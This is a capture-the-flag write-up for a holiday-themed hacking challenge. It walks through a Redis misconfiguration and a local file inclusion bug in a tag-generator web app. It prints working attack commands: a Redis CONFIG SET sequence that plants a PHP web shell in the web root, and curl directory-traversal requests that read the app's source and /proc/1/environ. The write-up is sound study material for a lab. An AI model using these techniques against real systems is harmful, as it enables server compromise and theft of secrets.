Broken Tag Generator

Now that Santa’s sleigh’s CAN-D-BUS issue is fixed it’s time to move on to Objective 8 for fixing the KringleCon Tag Generator in the Wrapping Room. First, I head to the Kitchen to talk with Holly Evergreen who is ready to trade some hints for my help with the Redis terminal:

Hi Santa! If you have a chance, I’d love to get your feedback on the Tag Generator updates! I’m a little concerned about the file upload feature, but Noel thinks it will be fine.
Clicking the Redis Terminal next to him will bring up a shell window. After some inspection the task at hand is more or less clear: I need to exfiltrate the index.php file from the server on localhost using maintenance.php. This endpoint accepts a cmd parameter which executes the given parameters in redis-cli.
For start, I query the entire redis config with the below command (which is then filtered for just the PW):
1player@100dfcdfbca2:~$ curl http://localhost/maintenance.php?cmd=CONFIG,GET,* 2>/dev/null | grep pass -A 3
2Running: redis-cli --raw -a '<password censored>' 'CONFIG' 'GET' '*'
3dbfilename
4dump.rdb
5requirepass
6R3disp@ss <<< Will be very handy to start a local redis-cli session with privileges!
7masterauth
Next, I was looking around the internet for Redis vulnerabilities including local file access and found
THIS link which has a section on Redis RCE vulnerability. While that example did not work straight out of the box, it pointed me to the right direction which eventually led me to the below exploit (inspired by
this source) submitted via the redis-cli using the previously obtained password:
1echo "CONFIG SET dir /var/www/html" | redis-cli -a R3disp@ss
2echo "CONFIG SET dbfilename exfil.php" | redis-cli -a R3disp@ss
3echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli -a R3disp@ss
4echo "BGSAVE" | redis-cli -a R3disp@ss
Finally, to exfiltrate the index.php I execute a cURL simple command:

Now that the redis bug is discovered, I can get the promised hints from Holly:
Sorry to be a pest Santa, but could you look at the Tag Generator? I’ve been looking at it, and I wonder if the source code would provide more insight? I told Noel we should be more careful about disclosing information in error messages. I tried what you suggested and enumerating all endpoints really is good idea to understand an application’s functionality. Sometimes though, I find the Content-Type header hinders the browser more than it helps. Blind command injection can be frustrating though. Do you think output redirection would help?
Few more hints also appeared in the badge afterwards:
- We might be able to find the problem if we can get source code!
- Can you figure out the path to the script? It’s probably on error pages!
- Once you know the path to the file, we need a way to download it!
- Is there an endpoint that will print arbitrary files?
- If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
- I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
- If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
- Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
Now it’s time to head to the Wrapping Room to talk with Noel:

Welcome to the Wrapping Room, Santa! The tag generator is acting up. I feel like the issue has something to do with weird files being uploaded. Can you help me figure out what’s wrong?
The application in question is available via this LINK:

It seems to be a simple web-application that is used to build name-tags by uploading some graphics and adding your own text to it and then downloading the result. I proceed to inspect its source closer, to see what it takes to break it… 😇
Since both elves mentioned the file-upload part which may be problematic, I started playing with that to see how it worked:
- when trying to upload a 5.2 MB pdf file it came back with
413 Request Entity Too Large, no client-side verification. - when uploading a smaller text file it came back with
Something went wrong!and a more useful error message:

This helps me to identify that the source code handling the incoming requests are located at /app/lib/app.rb, which is going to be very useful later on. The hints earlier mention that it should be possible to download this file somehow through one of the API endpoints, I figured this should be the result of some sort of Local File Inclusion (LFI) vulnerability. To look for this endpoint, I look at the image upload functionality more closely by uploading a valid png image while simultaneously observing the network requests in the Networking Tab of the Developer console:

I notice that the first request was to the /upload endpoint. Once complete, the image was saved on the server, assigned a UUID and finally returned as a response. Next, there is a new request to same image UUID that was just returned via this other API endpoint: /image?id=<Random-UUID>.png which fetches the image from the server to display it. I take note of this and then decide to read more about LFI vulnerabilities in Web Applications. This article is especially useful from OWASP about
Testing Directory Traversal File Include. Using this new information, I fire up a terminal on my laptop and use cURL to craft some test requests to this /image endpoint to see what kind of response comes back. On the very first try it looks quite promising:
1â–¶ curl https://tag-generator.kringlecastle.com/image?id=
2<h1>Something went wrong!</h1>
3<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/</p>
The ERROR message after sending an empty id parameter reveals quite a lot actually! It shows that the Local File Inclusion / Directory Traversal exploit is be possible through this endpoint. Also, it shows that uploads are stored in /tmp/ directory.
Note that it is essential to use cURL instead of the browser because the API response always has this Content-Type: image/jpeg header set, which confuses browsers to interpret the payload as an image.
Finally, I use the intel I gathered to successfully retrieve the Ruby source code of the Web Application:
1â–¶ curl https://tag-generator.kringlecastle.com/image?id=../app/lib/app.rb
2# encoding: ASCII-8BIT
3
4TMP_FOLDER = '/tmp'
5FINAL_FOLDER = '/tmp'
6
7# Don't put the uploads in the application folder
8Dir.chdir TMP_FOLDER
9...
After fetching the
file I examine it closer to see if I can find more clues for retrieving the contents of the GREETZ env variable. In fact, there are some commented lines from Jack in the handle_zip function that look promising:
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
Eventually, I give up trying to figure out how this would work to my advantage. Nevertheless, I am still able to exfil the ENV variable via the same LFI vulnerability that allowed me to extract the Ruby source code.
I achieve this by remembering that
everything is a file in Linux. I first try to extract /etc/environment which is just plain empty. Then I recall that every process has its own /proc/PID/environ file for storing ENV vars, so I try to guess the PID of the Web App and to my big surprise I get it right on the first try:
1â–¶ curl https://tag-generator.kringlecastle.com/image?id=../proc/1/environ --output -
2PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
3HOSTNAME=cbf2810b7573
4RUBY_MAJOR=2.7
5RUBY_VERSION=2.7.0
6RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
7GEM_HOME=/usr/local/bundle
8BUNDLE_SILENCE_ROOT_WARNING=1
9BUNDLE_APP_CONFIG=/usr/local/bundleA
10PP_HOME=/app
11PORT=4141HOST=0.0.0.0
12GREETZ=JackFrostWasHere
13HOME=/home/app
There it is, the solution to Objective 8: JackFrostWasHere!
Quite unintentionally, I also find the same value saved to a TXT file in /tmp/greetz.txt. At first, I think that it was left there by a fellow HHC contestant, but later on the CHC folks confirmed that it was indeed Jack himself!
Anyhow, on to the next one! 😎